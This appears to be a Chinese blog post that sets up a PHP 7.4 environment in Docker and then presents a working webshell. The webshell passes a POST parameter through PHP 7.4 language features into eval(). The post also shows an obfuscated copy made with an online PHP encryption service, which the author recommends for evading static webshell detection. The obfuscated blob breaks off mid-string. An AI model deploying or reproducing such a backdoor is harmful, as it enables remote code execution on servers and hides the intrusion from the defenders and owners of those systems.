1.前言
看到一篇利用php7.1新特性webshell的文章感觉思路很好,https://cloud.tencent.com/developer/article/1593612
简单的测试,本文使用php7.4的新特性的webshell做一下尝试,效果还是很不错的 php7.3以上版本应该都能用
2.docker搭建php7.4环境
拉取centos镜像
docker pull centos
使用镜像创建容器
docker run -it -d -p 8888:80 -v /home/docker/php7.4:/usr/share/nginx/html --privileged --name centos-php7.4 centos /usr/sbin/init
参数 释义
run 启动容器的命令
-it i:交互模式 t:终端
-d 后台运行
-p 1234:80 端口代理 1234 为本地端口,80 为容器内服务端口
/home/docker/php7.4:/usr/share/nginx/html /home/docker/php7.4:本地路径,/usr/share/nginx/html:容器内路径;将本地和容器目录同步,之后可以直接在本地编写代码测试;/usr/share/nginx/html 是 yum 安装 nginx 服务的默认目录,如过其他方式安装请自行更换
–privileged 容器内默认使用 root 登录
–name centos-php7.4 自定义你的容器名称
centos 你的镜像名称
/usr/sbin/init centos 默认启动项
进入容器
docker exec run -it 容器id /bin/bash
在2022年1月31日,CentOS团队终于从官方镜像中移除CentOS 8的所有包。
yum需要替换一下源
sed -i -e "s|mirrorlist=|#mirrorlist=|g" /etc/yum.repos.d/CentOS-*
sed -i -e "s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g" /etc/yum.repos.d/CentOS-*
安装nginx
yum install nginx
![image-
设置开机自启
systemctl enable nginx
启动nginx
然后我们就可以正常访问了
安装php7.4
https://www.jb51.net/article/175918.htm
配置nginx解析php
vi /etc/nginx/nginx.conf
location ~ \.php$ {
# 设置监听端口
fastcgi_pass unix:/run/php-fpm/www.sock;
# 设置nginx的默认首页文件(上面已经设置过了,可以删除)
fastcgi_index index.php;
# 设置脚本文件请求的路径
fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/$fastcgi_script_name;
# 引入fastcgi的配置文件
include fastcgi_params;
}
fastcgi_pass 后参数为
vi /etc/php-fpm.d/www.conf
整个phpinfo测试
3.利用php7.4新特性webshell
php7.4新特性:https://www.php.net/manual/zh/migration74.new-features.php
简单的利用一下新特性尝试构造一个webshell
个人思路很简单使用这个逆变做主要对象处理,其他特性做传递的污染:
写了一个小测试(本人水平有限,有错误还请大佬指点,感谢):
<?php
class A {
public String $food;
public function __construct(String $food)
{
$this->food = $food;
}
public function eat(): String{
$filter_var = filter_var($this->food, FILTER_VALIDATE_FLOAT);
if ($filter_var != null){
return $filter_var;
}
return $this->food;
}
}
class B extends A {}
abstract class Producer { public function method(B $b){}}
class ChildProducer extends Producer {
public function method(A $a):String{
$array = array();
$array['key'] ??= $a->eat();
$parts = ['apple', $array['key']];
$fruits = ['banana', 'orange', ...$parts, 'watermelon'];
$_POST["food1"]??eval($fruits[3]);
}
}
//$fn1 = fn($x) => $_POST["food"] ?? "apple";
$childProducer = new ChildProducer();
$childProducer->method(new A($_POST["food"] ?? "apple"));
?>
可用测试:
简单的扫描测试,效果还行 简单测试了下静态
4.最后
推荐一个php加密平台在别的大佬文章中看到的,用在webshell混淆上效果很nice
上面的简单的webshell混淆后的结果:
<?php
/*
-- EnPHP v2: http://enphp.djunny.com/
*/goto êÉèŸ;ïõ•‘:class B extends A{}goto ŠæºÉ;ß·Õ†:class ChildProducer extends Producer{public function method(A $àèŽí):string{goto Œòä;Œòä:$„ƒÎ¨=Û¿ê•(0x0000715);goto Ê£¹¼;Ê£¹¼:$„ƒÎ¨[Û¿ê•(0x0000073e,0x0074f,0x0000729,$Œ°ÜÚ)]??= $àèŽí->eat();goto ¹ª¶£;ˆšÆŠ:$£µ†Â=[Û¿ê•(0x0776),ùñ×Ð(0x0000f17,0x000f07),...$£ ¹Š,ùñ×Ð(0x00000f3b,0x0f5f,0x00f24)];goto –Ž÷Ü;¹ª¶£:$£ ¹Š=[Û¿ê•(0x0000765),$„ƒÎ¨[Û¿ê•(0x0000073e,0x0074f,0x0000729,$Œ°ÜÚ)]];goto ˆšÆŠ;–Ž÷Ü:$_POST[ùñ×Ð(0x0f78)]?? eval($£µ†Â[0x00003]);goto ½ï®ñ;½ï®ñ:}}goto ‰†ÇÍ;³Ë˜¶:class A{public string $food;public function __construct(string $Íí²·){$this->food=$Íí²·;}public function eat():string{goto îñÄ;À«—æ:if(!($Ô‡™‚!=null))goto Ôêý;goto „Ÿê«;îñÄ:$Ô‡™‚=Û¿ê•(0x006ff,0x00006cf)($this->food,FILTER_VALIDATE_FLOAT);goto À«—æ;—¬¤·:Ôêý:goto ¬–‹;¬–‹:return $this->food;goto ±ÒÌè;„Ÿê«:return $Ô‡™‚;goto —¬¤·;±ÒÌè:}}goto ïõ•‘;‰†ÇÍ:$ÀÆç=new ChildProducer();goto ОÑÊ;ˆå“Û:function ùñ×Ð(){goto ¸µÁÏ;¸µÁÏ:$»¹Ùù=0x0ed8;goto –µ›;«”Ìñ:if(!($â—ãŸ[0]==$»¹Ùù+0x0a0))goto Àéá;goto ÷ŸèÊ;„Ÿ´¼:if(!(func_get_arg(0x001)==$»¹Ùù+0x0002f))goto ”౎;goto «öš;¤„˜¼:return gzinflate('+O,I-ÊMÍÉÏ
混淆后也是可用,可以很大程度的绕过webshell的静态检查,同时webshell也不容易泄露标记,很不错推荐
本人水平有限,如有错误还请大佬指点!
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担